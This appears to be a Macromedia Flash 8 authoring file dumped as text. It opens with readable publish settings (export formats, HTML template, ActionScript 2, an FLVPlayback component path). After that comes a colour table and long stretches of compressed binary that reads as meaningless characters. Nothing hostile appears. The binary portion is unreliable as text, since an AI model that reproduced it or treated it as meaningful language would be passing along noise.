AlphaPublishPNGProperties::Smooth1"PublishGifProperties::DitherSolids0PublishGifProperties::Interlace0PublishJpegProperties::DPI4718592Vector::Quality80Vector::Protect0"PublishHtmlProperties::DisplayMenu1*PublishHtmlProperties::HorizontalAlignment12PublishHtmlProperties::VersionDetectionIfAvailable0Vector::Template0*PublishFormatProperties::generatorFileNameUntitled-1.swt(PublishFormatProperties::rnwkDefaultName1(PublishFormatProperties::jpegDefaultName1PublishFormatProperties::gif0PublishGifProperties::Loop1PublishGifProperties::Width550$PublishRNWKProperties::mediaKeywords!PublishRNWKProperties::mediaTitlePublishRNWKProperties::speed28K1#PublishFormatProperties::qtFileNameUntitled-1.mov"PublishPNGProperties::DitherOption#PublishGifProperties::PaletteOption#PublishGifProperties::MatchMovieDim1$PublishRNWKProperties::speedDualISDN0$PublishRNWKProperties::realVideoRate100000PublishJpegProperties::Quality80PublishFormatProperties::flash1#PublishPNGProperties::PaletteOption#PublishPNGProperties::MatchMovieDim1$PublishJpegProperties::MatchMovieDim1Vector::Package Export Frame1!PublishProfileProperties::version1PublishHtmlProperties::Align0-PublishFormatProperties::projectorWinFileNameUntitled-1.exe'PublishFormatProperties::pngDefaultName10PublishFormatProperties::projectorMacDefaultName1#PublishQTProperties::PlayEveryFrame0"PublishPNGProperties::DitherSolids0"PublishJpegProperties::Progressive0Vector::Debugging PasswordVector::Omit Trace Actions0PublishHtmlProperties::Height400PublishHtmlProperties::Width550%PublishFormatProperties::jpegFileNameUntitled-1.jpg)PublishFormatProperties::flashDefaultName1PublishPNGProperties::Interlace0PublishGifProperties::Height400PublishJpegProperties::Size0Vector::DeviceSound0Vector::TopDown0'PublishHtmlProperties::TemplateFileNameDefault.html!PublishHtmlProperties::WindowMode02PublishHtmlProperties::UsingDefaultContentFilename1-PublishFormatProperties::projectorMacFileNameUntitled-1.hqx(PublishFormatProperties::htmlDefaultName1PublishFormatProperties::rnwk0PublishFormatProperties::png0PublishQTProperties::Height400%PublishPNGProperties::RemoveGradients0PublishGifProperties::MaxColors255'PublishGifProperties::TransparentOptionPublishGifProperties::LoopCountPublishRNWKProperties::speed56K1Vector::Report0+PublishHtmlProperties::OwnAlternateFilename(PublishHtmlProperties::AlternateFilename&PublishHtmlProperties::ContentFilename"PublishFormatProperties::generator0$PublishGifProperties::OptimizeColors1"PublishRNWKProperties::audioFormat0Vector::Version8Vector::Event Format0Vector::Stream Compress7PublishFormatProperties::qt0PublishPNGProperties::Height400PublishPNGProperties::Width550%PublishGifProperties::RemoveGradients0 PublishRNWKProperties::speed512K0PublishJpegProperties::Height400Vector::EventUse8kSampleRate0Vector::StreamUse8kSampleRate0Vector::ActionScriptVersion2Vector::Event Compress7PublishHtmlProperties::Scale00PublishFormatProperties::projectorWinDefaultName1PublishQTProperties::Looping0*PublishQTProperties::UseQTSoundCompression0!PublishPNGProperties::PaletteName!PublishPNGProperties::Transparent0&PublishGifProperties::TransparentAlpha128PublishGifProperties::Animated0"PublishRNWKProperties::mediaAuthor(PublishRNWKProperties::speedCorporateLAN0&PublishRNWKProperties::showBitrateDlog1"PublishRNWKProperties::exportFlash1PublishJpegProperties::Width550Vector::Stream Format0"PublishHtmlProperties::VersionInfo@8,0,0,0;7,0,0,0;6,0,0,0;5,0,0,0;4,0,0,0;3,0,0,0;2,0,0,0;1,0,0,0;$PublishFormatProperties::gifFileNameUntitled-1.gif&PublishFormatProperties::qtDefaultName1"PublishQTProperties::PausedAtStart0%PublishQTProperties::ControllerOption0PublishPNGProperties::MaxColors255,PublishHtmlProperties::UsingOwnAlternateFile0%PublishFormatProperties::rnwkFileNameUntitled-1.smil%PublishFormatProperties::projectorWin0%PublishFormatProperties::defaultNames1	CColorDef3PfP0PHP`Px333(3f<03CH3F`3Hxf0f30ff(0f5Hf<`f@x3330333xf3d03]H3Z`3Xx3333303f3PPH33Px`33Px33Pf30f33PHff3(PHf3<x`f3Cxf3Ffff`f03f0ffx0fkHfd`f`x3f033fPH3ffxPH3fdx`3f]x3fZff0f3fPHfff`ffP0xffPxffPH3HfHxH̙n`hx3H33x`3fx`3xx`3̙kx3dfHf3x`ff0xfx0xf̙dxf]`3`f``x`px3`33x3fx3x3xx3nf`f3xffxfxfxxfkx3xfxxxxx3x333f333xfxf3fffffxxH3
HfH(H2`8x`3
`f`̙`(`0xx3xfxx x(xPx3H33x`f3x`3(x`35x3<3`33xf3
x̙3x3(x323x33f3
333(xfH3fx`ff0xf(0xf<xfCf`3fxffx̙fxf(xf5fx3ffff
ff((xH3x`f0x̙PPP`3xfx̙P̙(P<x3f̙(|}~?
CDocumentPagePage 1Scene 1H
HCSwfPageMedia 1FLVPlaybackCHFLVPlaybackmx.video.FLVPlaybackvC:\Documents and Settings\admin\Local Settings\Application Data\Macromedia\Flash 8\en\Configuration\TMP6xvf2638pb..swfRCWSx`\ŵ0<w+Yq再TYHb%LvʖݐHH`J($yB
	%ZBɃ$@BI		}3g3wwe;y?!9s3gΜ8AFXv

`4BM4D*㍵/L5늣x;v&:rݨ=S,Jo;eĩqeq~w294Q*CxKd[{coJP*ޟ(=Yt"eqۗFKLFDhڊNm'sUvџ50Aw_uƒ3Slk4ow$;c=u=]iZLif2J$IQOu@jtG"ؖh?B˻aGQG_o2юUt&cd<%mQ:È}\ŒjkB*tQ*J~c:Z	JŒq$q$%ͤ9404cXk<':4C>+B^AFzC/4XJ=d	%YB*B|`t"k	ձgV1pATI?G?+#LP5BEȓEOAyw[Ȫd?AThN	FrԲ |xh•j!B
AB+(.R`Qá
\Scƪ
Y.]ƘGL9)ZّXǭj9eRw a\"WydBSAh0mlu|f҉Q?,B	KE
_E/Pd_鯺h	dhM~Qw+8RG?`a^~
Ŭ™Q|
Q	p3+wz,TZPp!i@Iw:=i~@D})̕Mxn(=wD5lUVz
nn5TN]TvAS"qv=9Y0_ƌA0]&<J}:0T4hQ)@P`$@Aj|@ICkM="1(VByRU}pȤ::L PX"q)e,
nqſy2ߴbcb$R.iD!+$慔m)FU!N1e8C6G8CL.PP<0cj[QM+\x>(VXT(pL%vr%y̮
q'6v$`XWQFdB2e[ m9HXLVAjYvhCK-	A/"P&@O'~YdPøȧDThp$*Ni\
`I'IWRE'.6efd̫3DM :AĞ'J}6>	>J&y}S(j7pTr`^s2
[9sW!Ýnށ4i6ifV>#ܨ_ٰjyUK<#
&6,a	%k7#^TbrS(w@99
FhVW,B'5gȚwu͸hԛg 4MHÀ`'u{2tP?"PSIcJ*3x9jM$%ۅk`0?.FKQ/^K^T{ighN?ЄӿYV^93>}S}nE[pX`7_,ܶPϝ}9p_Ozqk`CQw}=_>NW}|'񹙏_J|:8|χO}ڳxF|y+u^??kNs~oWoƵ	,tO?Ļ?*pofʿG{GIKC}'Y|Ց7>|o3_[_huKj\Ӹ罏/8,pe7~`SW>q3S<Dyg<uуsVcgot;J6q/},/n_vo^|Ĝ絛z/㿶%_~Lxܧ}aӤCBw;^w6~o]4M,=u+yvl1͏}ޓg^Xq_^սr-ϟtחvz.rS+v/ϞTn魧1rm]9wKhS7|K?"ߜ}aWλwk~#	|؉{Ͼ=_W}i]_}쮳yc/L{sC?w
w7,/7<&.|wKϽ~{gztŭ-?ͷPeW3+wl#^~uA]dw,᱇s>^K;xd4v?i9ᢅ4t),Y%56%Sm#nfWJ;#>%~41[W/7Lv%'<|^z˛O`rK=QKg/Fu}EwWfzOoŏmS}z?.|噗Y/_ydAǡg[?AVwazNɮyoLG)7%t%(ED,0kez\9$<ØRx޺>iǸ%Q}\D/.?i,	Mlo5NV,X{P/
7q
#T0Xh3iKQɞ=wrϞ=G!u؅
(]6:oEbD*ZT
L{.Z}N`44`H#KbIJ6ޑNDpǦC2}%"P=$Ehȹ 2`aƺe=/IysIVM=|jSrxHD,	˩5J;DEDGm⎶[	?H	H/gj76Ekmu#VT݄ѶƔ։fqɺo3ϡֺcmhKnS4\_ZeQWuPOӗف+R[V7DZ[{3L<u+BUeGsX*ۙౘxԦ%LdW2$(Ite^e_HW},݂EwqIɔD&keⱞ.[Jkwzgm$lllepN#Et/"{mm0,j&&{}d:URIsvlXÕ%gr v`BjFH`b`#焴keh2t+#Qtےb:X4-;½bXR4ӷmYq$ݣ1s1bx{4	
!+ے`+Yun)bjVX\u+;mΈHOFl>tirYb
f+pm<BډVS3niE7EHVKVT|އzc}Y|foѶ]xl"DF:9f
zI_(57`fq	*Ct6}Oo2y IsKBM_vlkgvdwK<NEbnXɤ31-Xcm(
燷+HvTYjC-نy?9R9+ϩP,B՛7T5CV(m@4_$lNC1lX9DcRp+O%`00bw$ȨBXt
D/ƖLR(XrAJV%G,N&mōaznf˧6ދ5`b` dwzԦbPIT9>SqhO;8Wb:<]yrө:2gg(//H;]ٟDA0}s3N;^gUCKL
@rp+::%I'E}jEuvDiC]ZNpWQ9&~c[fI&UX
W̲D3KQ
c_{Tָb#7ҕe	t?ÑՑZ Eh"(VoVDKd#m-#٘_9)Ub΢K!|gk%')μy#6;vI)QxC
X)/!#@&D@KUsi68t%فH(C>[lrq$?F9K28x,NGb#k)-.<aE^x'0ĺ@<
Ď,^TLlhM[ݖN3ph%V)̀Bt9(]TlU+iPH2gU$Yk¡P]Mv՜H<ۋ]+b,SM}lOݥ:OCz[
|/AMᦍu*`rR$S_ES2\8*2gisΉُ]hSv3[
rn6@}D2jx%o\ we<X#,3_fLFT"ۍlJЩT6]0#)lہ$2Xl9WYn;hq6źD"p1\mnTιaƊ;<	m=T
hZk"-m!C}YRvEUca_	e
n5t,Wu+$ꓱ,!³$T^g]RPb
	)-T+BT2mGݧMFI+vΊl{\2m2B
A=3(22q\fc48I,3:
9RfѠ<,ơ
e4bc
J[N5M'(tI~.)ʉKn*4Wpl90I3goo69k`bss]0X~Tԏp2L[B_KpH=5,O$Y΄J(p+ױ
iӴxV`ԃpP!xgf9
lá:+:vv;`_gWBʙ5<w<tЇ[+q}3a͆u:8]30u(;tJ{;T^XWvC55 >XO9S!557;?Yx,+H-A+''HUPEk_=>:KԼ;Je`ݯvqHg=/;}H%ـDǀâ[AN
\zMFjX
CT#@HM
GhJz"hfheUןE]Ybi"jϫmk!9n=q(cGT2#!
<}J<s8I-v"I.Md{lSA9$'uXq@C$taò`Vt4$m;?>㰓6
(
M_'I*X^]XT"b@D$@ۀ#ѾpFyf~+<q765E/F'RcT27,,9(50F0Nsm4wO[
͸bfу`sMjq\*qN85kkŔ>&,zj27e!1n1̟5/ZcC s4"7$CXR=.
J+AlTV9W9o
M?$tװ($#i>%ԉa`=M?5?׻B}zχLs{w}{UtVz^}p^FY;i1h~:*T
,+;HI#-trFNBroq(왚8hݎxY5_2|Rxj) gkn6
ܠsAxk>VFs~k>Ne;A-O^X<
8nFA(	S{r<ˆz
-a}84eAD155(=\EE2EZ_yH x!X &
58\j⡰M ZE-uˎ%̰
SDIhw=0jYMSy	EW 5VޙQڥw@'e.rCM&٩&˄vfh+6wX8sz9m@,H$XQpF?{ƒBᡖ;Dwһ|fKc%Wu]K)!yЙ<
z'BttH>}Y׮.gsVzPq|%R)$Y\X-q`jtcKWFFi0kkM|oq{1<v!H
.%$OaVˬ	L;SBLJ;A󶖵|7PJQ"E'"^kcYi1(Q:\EOWʼkJYXiX2YޒtſcHCpN'ϼY.9|rav:*=+bC&g(f|*+̥E1)477?B5!>Y#!uIl5Pyrr֘ҵs9uQp=ы	F8s(3([0fUo=-2Fq#}D>b_'AUD/@ @3߈q-ͽ,,,X\?"^\Q-b(WT"rŵUcyOk/":07Ύu}O<F
oXnnw
Q/zs`G,zjع=dM0q}w`!"NxWMU^D|<ZA>]d>OQ_NjF98ٷ;Y
y=;
L*+a|}?Ԧɛ{d2GOX0Rt7G:&Vw*ۛx`LMX)UeU0ssv2~$gg?rX*=@Q F%?.Bg2֯+Rהi羄|s&vn~,[$^M0dn{7nܣssaqS7enܯss'<6L4<~*dO܆BPzH3?u?,n#IPIn[K9ZY-ӵ2=]1˙P9}Lt&GE>.eE}h$,cnxTBE`3DO3TD~o<N_j<)yyz,ӘF3531-1x~X֧Jk`7a/On~ ؙd^%(}%sR셙mU_r _uג,/18v5b1Mqz%AoXx.a/]yQ7^C9]nGDQuc*=\(Z.1E]3%Il^eܿjޏ35U92~}IF^xy6Kd]|`c_:]|}7I4f=wY<1
wc7KGv7yz:ai0h;
7eGeo'k>͚kᛒwD#4A}5?	,uzqdycCkڔWC.+{'nW2^ϛY_T\]{g2Mu/
n/1s7EO8`>cr?dr?/&bL?d<-`}'^>#OD2	"ORCp~\KY΢|}/>hYN>(̒!^Re/PC-Ф=R6f
 Ȼ<ۙ
Σߒ+lqS*d)vO4n,R)t	;=Qj2a9vnKnֿOREMJ?"җKW|(LH)|g
*=|dr:Fb;0ɥ'k=kz$7}gm6K26Y>(-,9ϒ	}iN6,I7:Dzt
'*$ʚTmJ'y$x>	Arf+&	,9}1%MdJ>S2Y<hJ&S2(SRiREbPn\+x.y=kupxVxqXkfk$kk$ksfX6Samdy6ft6W8_@
k)*E'1a-*\Y.
O$Oi<E--r4]pqDV5b;Lv<.Rx\kTA2܏c0}s\]JQ3KQ@P;uhBrF-U"]`{n
ax['(7slWܰ\6.T ǚ 2GaPzi(]o(=D|q(=dJV,W΂+p^T[Sm5K^"d.p:g흓>mߒEU{34<BP}Ԩb<B:P#\."]	tg7˳ɋkf"N@Kלw4m2i1ieav{\r\oxMP~<%іȏ@	G?"۬ҹm<O(mtµӳg}=ڗۇk`	TBt{`JΗ(H7q]#^4lğL
NSx`;v(g-TR
:RAu4Mk,q۔N	A%h4}'NŃk-$8Xpn_܈j>Q-݈Q܈EALNLN8mۛikaںA*5kkc5
k֎YkP780cLV:,00NNw˂
eAIvf6D5͖/MgŻuuh(z2ܥQ%Uԗ'i^>s
GsiLs<}[cA`Y/}6Z#(Ghv	9LK2sdž_ȑ@C[>rĐ񮏜pf2#9L9b-@0/gnX<Y'!G^HR< D5NmnL¯]L
jw7;n-Ji"ę<Xҿ@g^)hxVM)0ލώʟݟ?{kO˟
>j
9L)ZvJj23LG䲑5l{CzP3r	{)"If;
2?jvcPfnuCͯr|b'.]N^	$3L+sڀj(7PV._2pCjp[N&jV۞ؖ10]1`ec7L0-0`hQ+xt#]rdLVڭݦ)7Pg@8L&LnN8mOXR(CnhDSk8ofBnx,G`nR)\IOQ@
RAX}l<WmpŏSH%&;KMU[n`pใDedF,edž'/i
;޶Lrq}80ϖ[}X,=J4$ٞ0=XaǺⳝ/lɠ
<@
-CJq7su'"a!pt3 0=2>U3^rWf֖o.eeV&[M<yY*w·%j
(Rc
nKv~$j!Hr[m/T5B%iRzW	5ʣ^ɥc9y!<+Vb%W6دS0iR.^
&vL+u3en`VF
Dk-5`DgS0	f88DVIZ,nȿGkϱNO <5JɿOu?9#PA^/)
^]/BK@߅"3ZN@Pp6/dW\9|Z7!2[i|v#}*v>S-
Qv<#28]8| Rj䅝;\FRgM!)KA ,n@CLlv9QLtTR:A (dIAf 8\
rRAS:,vr|](Vk9^a^GXeu}?3ďqC5@q^j0
CH.ԑl ^94Pu&
4@a|%J4$Q9ڑqQ4kߎ]첞esQ<4Eيv%bIӏ47+;ڑRFOTZa|3dǾ&clIg&F>ct_)#"h"GBqles0q=2~_%c}9-	3gc9G6"x(mx@kMdh[.R8^='i-DRȵ~2q,sʺDPx{<7 WDkc)<EɀdZH7[(hp{"ȠR6Q
'JSw$OB̦p5ċAuykGw{h1W	KHhM8	7YNulק3QZ[soZ!Zp/&<Ap}=JCW	/m5GĖ/b6+Qm1wR1P,ÎGܑckbLW{vrJ`%Fp&NB`ۙ"1K[݂{seste-{P\x"ʼnp9?zn`bEYF+>;VVEVcXŕDY=p`p7
f#>\c^8}	&5zFagө:"z-SA xm	%VVKGdxn𦺈=/'GۆPmS:4dLcA2!^N+NH$#ڻ
v?6/ʒ"b3s)l(ޟkHtudzxo8ڏZ˻P7
K.@7BK$3I7٩5ЍD0ph.P4ŏ"Z!TQkKo5d7@cki,0IG6WGjyRċxhR132L38DejH\ǻIMΜiJz[W\كLPL$+`qTNtNCwDCL"UBD2ͱ8
x駁	4qiXmq$I:b&#fV	7ޠ4gHZ/Lo7}oph7-ДHiv;(.`0EH}bBNdk3.ZBi/&َScB=<pR^"R1A-)[OwҘ¾bQ!CBV7 j8mAǵ@n}T
	_kO3?[/F~1$:<ًQ&ȧ$|loC$AV"/+To,O՘1k-|P7Bl*8' !èg=ŵŦǽ;VwAH	Ak(-kweVBu66gdLm)QCQjJ85ucj{
w;Bu>Z#ժ1DN-mnHuU6<V,hƶpNL\Bv3xlXl9W"w<Lnrq5>kpmη?v nm>"ۏaXRNG!a!5*G׮hNmZ>;5y&*&I%^U*"|-(~rN6l<
β臫2FX~A|k:F8/1L?*IT
ySxS
dPMwa>iȜQvcQswJs?B%rI_䒾%}KReZne!˗S~t`IVg(Dx!3E~P>	f%9d4``M:$jZa8M;T;q=Wl/Ζo탨(p.fZMNGh.dVy옌;e)eAcH5R, K'kuk rE{Ƴ+0zu,p;GS&"y!
uy0HTQqE!d#J68:,-UumzF'.xy^;8h7F7̫5R`NR~x=Z;*xYa+
~&rU^ChM.G̚|WhQQYhX`^ؤa5Zc$='{RdIKE{ xx$S*-^1նm<25͏D4y<F"e*,q]	nJ3`M\ET[UG,pzMT.E58MB0!ldڔ3l
qOBR:\6 ({ҥİW<R-H1

%+S%n	3DfL-Y&ގ8A
0]
<,nJnЕt'һ$<8Ġ5#?^wO;BaN4
N9*%$W"$MY|VUb{_(v괝-!< ؎ָ6t$.U@U)֪
jZdw*Dق$n$^MQ v<!GPB2ԈTzLDp#ZYNt/&:NtRֈ#U>Gd=G=['r6t$<SQIqHtYki3Jt}@C}J()]*cXC@v$un"Ӡ`O\RmH(6A&!!I_7uCQg@d9wǞ;]ȮIr=!vNUg89.Ч91),b&5ъy`nNHXj
[]C~k)i"|ϸw?#Sp1r_|z=B.
p1"C<]Y/qBv}ɎBTMZx|a*2
NxgK=wtCM=3폐}*;TB9jiKG
>؃$_1+$T/LjMuoQc&>=(C
ҼX|_b٫&io9ͰT-A;Fd}.;Qe};&0>*+@
[my5\]T
U
g
$akdfz?i'b*6JCL'dgݷݧUz
ϛhJҔxhB;~{[5
0U>WŻXxFu<t76|M,no2`.]1JEc<0xX(ːC=RKgjq2\MkL7ZM[T*ۊgd
^ٟSotnsOY:\DòA6YH)wq5pNn8MYHwEې,]kݶEߵQG(=2S\ܞ.e~]ʜ̏\T)s^.WQ͏U)bJh6w{kG54{+=3{[yUÈo6D=D'{`C`͒>́i>
eMMF퀴hiGg<ݱ
nTmj	x>ĬO6ԟ9<D@xN;`ḳN[Ǽߑ*ꂛx_퓣BfrmE†(H/
vZgF@֟kPZŚc(K,a]b%pv{}xc{Ӱ'sL%,CM2~Դ_B WOz~=XyAy`rF7OCy4CکUh{6o72d??_q~`9X/@C^HfVо.+(w_~[k)>B?ŭ\YlzTƩwQ=xIbpJY'@6p
՟-
<MPpк}CܐY,;ԝ=f;|u`4lU!o&ޙG0"ƺZ<xӯ=dV6dO	o|
b4"#<,z=\z3nigJ-D%
>ҝ":fQװNKӐX(\yW6@ΕW
]&P;<D&n\P`e5m79Y֠
߿Rq_slɰ:HU~u)[uk`w^?˥@֠T
^kDl
ʎu
6^ɉCL((<ǯ@AcHC`gͯb1LPȳY=lޔ5,eM?E[WD F
ɛ慓7 |-IX`[*2Wcem*6W񶹊UW'wUcQk[f.42p1\2
s0WtFFήc Iu17}BqK$,ʫߵ_+alhHsp
)x5P𖉂sYuoUmu
ަe
m<+|;UC9i|GwhYh4]/~@
/m*qTyzĽxcwHMb^008gwOytvG=L.d6;ԾKB힦@K*rZprO=
>Q|JPN/Il i1[,+r>6O\ǐC&>>G渰,t2k:EKO*(Np6J`S>4=w}RL=#H6~fe"O|:0l-bC7
Ut#r`K;w??e	hCZh!?-wCs!ձxbX&aGǢߵZ:/<T&9Qf|<iG~n>t|]==\&/aJrr`6kvfӑ?(LhzjdG*|Afs
09[bɋBܨpTRɑXJ8G19QT%"fF>)z!['z)Qo`XLr,XRJiPXG(2m$O{HLHw]V<
CG/2cQk9(ao}Mb@,m$	Q?q1fh-cvx$Ɛ9!x4ׇ`#-s<K2&43ʂu{H1-xݜ~UF*zʾ_,~&dyup2B>Wm4T9Eym\;@*T8$B ,}ò{7*W<.vB\9x(fp§W'<&W	iэ=㒴DpN}|㻙vff_Ls2*=8޸km{_%MZ&xdW]K)(vvOHfO$Eܨ$,u0'$ni0zc4`YV28Uwxnݧ^xyBX6iqiiVv0QU_ggGE6Yv.ͯ{*ᐳػ<Kl)pO1䤃a|ǗZ]"2ζIT'}Le>N_BO^n%#=o
1v]-6RO
9NZD|cPє|@wB6}mkX,f}ۨxͤcפ%loYNdƊ]"SE/pX·_f@WM%;+#°~|̴<+elO	 RC2޹,ԢqqL6\m`]Ox]@nW
92h3;f9MlҾUHeTi4ṖQEZX&S[(0n=&w+,Drz s%}-jFz@JC3 JP9)Ylil6ҨLRTو|%נ.^U]`^|T{(U$Ô{fV
3VinDk7rkMIg2zx1.pi{8Ox?UŎNB*05?:-T:EcS=VBU|&=pEjw_¥LL߇|5?D|9oN7Co=d[a5γ͹t̹7Uj	ꀃ+<̨28p+f>Š0W~u֘g!%".j~@sݸemkAܗ#]su⪏s)hua)*!֧0Tx0Xժ=0ljK876ԓɄVbaI}U>k%¯D{AvtmL>r/>NP˼5ZoumfɓpzYD{@{gqsDg7b
{Y,$`AA\cW`h#m$вunQRf&Kai<
8B9O{7qͧ=r6ic|ZЭIE"rt [kXvzRYfI
w>PaWBaqٵ`Kn=E>\wv	ШPP&WÆ%r\U0gghny7PmyrjaqҝDws7_n~wSܻeDM|>tTR6uP[g]Ku$8cĚ5S^A<PBHkXvQ̇ѕFTuB^M.P]0ٟ]U{i]SDX[+]|#c^1.+tr8z-.p_k|"1.cSN1&]<>?@[UyVNFჂݻcx2}m[H2v\l"bBkd"H80#|+AJJ%VhTe
)?
g߇}>p}JKGsi4 ?6erQ]:B~/u#؜e*OW0 }U:#eT+]O`41"oHЬ@H8$ @Ztm AX~' 8VE`
C= 	m:@my"(#oGkGEdb1hh-E^X-'ղ(89J$.Đ!,1ZҶ"8KH>&R;p$j*	x;RX1ե:pRODZ}8ظ˥#*64Z.(I*	sN\OdATF7VEJr8ѵD"u
DG(HT|dRئ`"Qer=\֐ŤvrySk}$RgD`䡆S9IVXH,HduT;DSAHmIM,Y)NttSeMKhfN#bxJf_оʂ2e ǨhhuDXK#MDJ$f*:tC_$y:ցRc0eT;	
<I"
&Le<3aHwu@q`5aA7]ׁSX4hJȴ$
,	~|ə},n$CT2E&;!V
JL(n
[UpDUh{d:pѕɮ-1Dvɮ#fvl@X4
cc1C[5FIL=g
#yjo&K#3<$+'"^YL8[ɼ--<5	[f/Xr-v3fՅ1bQ7Z5UԜ%r&xtj()7z{,hgD]<Ke;әY{*
(+WPd){O)*/&um@{3K.jNZ`BܹW("2!k_[8
KL2b斑_IYzb
؊xuY+:ӑ!aDJ(
To߶$.-L{7Ϋݑ[K2%`xb^
"
G!$tu[.T+]oMMhk(1g&$ jsHogl+FbL4C
d#]Xz|(,T{+"P-ΎL.v4Ri)¥2w3D]Y%鎥@BfNdtq~13C"BL_{.?O"{zq,tafc
S$bZwqCb3c,q&J	u^<BM$zPW]z[fs][58TSЇC
Q#)݂79d#`{ cH;љC̸Cl=,v^3!cȂgFm%uh3_`9a7X(546>1^UMS.Rbƽ#2¨#i&rBa>ӥsE}K[Bfe/2t*s+-Af GrH+6J>1Z#ĎWAu,w@Q_L<f<ʼnyDNYz\g<g=יЙPi||ß@["N-3ez2e(2E
Ioऒ={\{={AE<0Vr}?x,!WZ*
P49xxnlܽ9rZVtzgi59KMDn0%\70AH^gi: ȷЇ1C{*,dx
T
%?<y5nK^ɫ	:T!+lI{=)aٶNe>d{*[ud$'MmU:.\5hFZDNGs0a;ǰBM.+?O!{L)gO\k'}	(C{ܗe.b)~U%kjUڸˌλ;s,w9ۧOiM$v}RPVE{qƼ-<5Ξ\Tl]˟Hex,r^K82rƅ!QhΆXϔb5tjeL֐MuiT\CwUh/<-An_t[h|W}@னHfLBA|npdPbkFP[xdp.$4?I0ZVlԷt!^E̅ 5Էh:yx7ѹ2zLƁE~%g]rh9|:~$PeR:/;8YG{@4@q';S0\,ijR0mk>/X@5şN{y0EzQt:NN99NNyyNNN*:V)qvW5m)9Gk)&u(>~ǯ۱?S<[I\[7Nb
m
&
	>W}nCuz:t~ӡ
y3//m.	wfcTW:g{}Sz^kHEQ8;InίNNéoشmtA~7pjԣׇt`k1-]w"Ӫg:] XboMPEq(UqYubp-|P`.m+5.H.0cnzunLvW\ԜY+':mb~jnUKwxΝU-:<MAg-CsΣ=m
oW/;#}5M^a{Yw7>qp/0~V`ĸKY%($q<dct`4Kdb%f+\*]&+9%=Y]*[+*@9l'{NٸZUyY.}QVM*U_+\V%Q"V{@|ʧۤ
_.P8VgҢ(mJ
Vz+*Q
rnƊB@YJJXXy^Jx"/-nARMJGIUW;h
GteF/
TJuFrAWtq\Hg7;U&Z'P.[qG^)1#^OQVLѺ9NxdM1~M;H(E۔Nx\ ⃜>M5X5IMrm`,;^DWjIMQS-*j-S-MzKDcDZΦ@''r1\Kqn#9pj*E5jEHH}dB}`?P+@+Dd7)vd@-Ji=k$6K|'SYiX	YuK~Q7UP#7
ꦸS7@OӝJҨ!u3uݩ+~QA]u닳e{!=#EޝJkwgٰB66*XF5KȬ	m(͂I/Yҽ|ij$?ц$)`U2iϸݱ?4-a>}_fnS˙'xق;7ϥdr_z"p (HCB;BTzJFOdjxX0!wGՇ~N>)x~}<N>v'ɥX9?_JyTў,Z!:"jr<#o
ð8A5υgfm]s
ӊ}T5usِ*󒟣togg 
{M]Hz$R	!m8}g;!'ӹ]Asp6%:?b<95wrO#d&'( VvbXS.ע
9[NjgK'4_h!<D"Kv"(nR]ռuHV{.F]s$Nѱڄ,}
^l瀙6>n œ~e3tWJ]*CzgŘEL"1ORi	&}gE࿦[?n߬['5uH`2"X
Kq0ƫGGq#* W939
OFbMʜT0ZQhҒkZ<$lv({e<vU_aW[]xk|1
O[.'ImMV#87mor齱F݅W1aZܑ@Ϋsa7y6تG+c\Z:a[ȢGʧRI@R=Ll	CO<(R̛TsC΃"
Asƶ&ί;$]N<I
PI'ԓ:QP6A"eQo+
oxWu, .6R%!⏁pUГ=>ߛH
`a,˹
M[Mtmkȼz
x̧rFjMѳtv(/O4jdS<	0(%e'ӓmd7f[\{G.(5O+sb8*|}s
EߑmOc,E?,JN;>$/uaΛѴO}δѯ咁sEok+=<T*Bu<n.铸u@v.6El
ٽ!ubȻ>6Jpf"Pyo:u2dj410f8/lN1@,F&{SEZ:KbOqKQ}	\/
wy^D6)E־-,p"?C\u.E54QӜv/m;p>Z_{q+s[͇.!jfGSUr|^I<fD=bTGPz&Yj')9,1Y*`,,,럋ZO$YF<ϩHm]XwpQqToix:8i>*B+CXߨRw/{,[rk0IOv08y?8TׁXBNghg.݋\}H!&qTN0Us7𱰁N|y>֮6u?(nqo!q1/p

Ԃf,kFK\g(rtN|l럕ö!bRR Ű%}^c8H2@ㇰxs*`:/:|wgO:.ad8`/`/yȥ
E&	(Jve̲<N׮׺3M,r.ǖa.>F[(wwUnyH.+Qck^!>gD˛=%I>҅j:?7q{=#x-pp)/'H+^;Bmҳ+ߵhSN
ERz2UBBCyn}Fu/n ዳr۹OԻ*aY?	|#JG_	k-J_T+YJ4o<Eriz2Rlxag=y(
ľb{˰_+B2{b-ω0uRUpGTī@a>'Y8&!kpF_k:9cj*#m8]҉~Lo8E_`|R-o^/뢔	pN>QI5zQв"`^CS
3<èct64e'-D%-Z0H#!mWIH{`s#Ne`'k}[͋W|u,>j
19^0fx;"/=5]MZP?G!<*03E:'{`CciUi
@R\	#P3M>Nz/i/Ei-4ga-hƣ:͞<<.fiN`J,uvNAH/5;X^S3[q@3\nqLgCL晰7	CBk)>ײ`(r&JMX^)k,}BT1']i\N.S~컐'|TW6p"ʖYr?+#ャ98<)8<;8|28N?G+gg?X"cv_u-`?V}K|<ϐoTX$ݑDSITs_{LVWY\k 4Wu:z%3t3*=:w -BmZ_d\I-;0ӝo@Pgf5\f#f
st)^Ϫ8H8_! #12K`pL|h<5 XPp3#&X(q2и5K߭Qp`*Xx#,>5$X91K(xt\9h1бrhPyȏ+F3K6o0H&*H$hexC#w/o0%ʳ:{;Д)e{-$tS^ք)Q14MI!qIlX#IQx{<oE.e90
rPG&zW7|Ua7Dկ>!T2p<wy!Z/݌w/ӽ|oR?\xJȢ}bYJ܍Ho <8a!F~Dx!5+.q<i|KLJזٚgǗ/W5\
RAFyȁi$Q`*yȯB`
ڥ o*܊>֊#p~8-32{™
'YwAa,j&70F=
I&u+uilLtOBLs
I%|]b
a':n$4kWN=\q[v$b%Uѭ>G­ w|^Yxq=ud70t 4ȱ>F,м)ZRj}C
b
K'`)-ӕyÃ3`?=Yl\uwf̼%k{Z-eZ)k!)M
d9zH>RcfyC-q,]ܤU6+hm
M6?m$E{ι[(Hw{{YbَHsoj>;ڢ=OqÎ(?loAdlc|x3#SFY
rR5L4`n\(^2t}dMLN
Mt;d\啮]W^&'/NBHV7y?jRΊuolym8^{7{PDWmFi|ZUon0*ۯutoʳU".{:n'$~׫7cR.O<ʠfPOZJEHߣMh"*$H;qǒZDΜ
1qV<F9]N=:@mfǧ,x|"
;S\[Q7.;/'cћW1ocSG_?Oc2wpw^:<e_QJKR+K4ڣVZjuR-VßM$Z8pő	xiSMIL`<q	"2&&iG^Mg6xFi,Y(SIfX":
źk?|wVL8tP·:F~/ :r
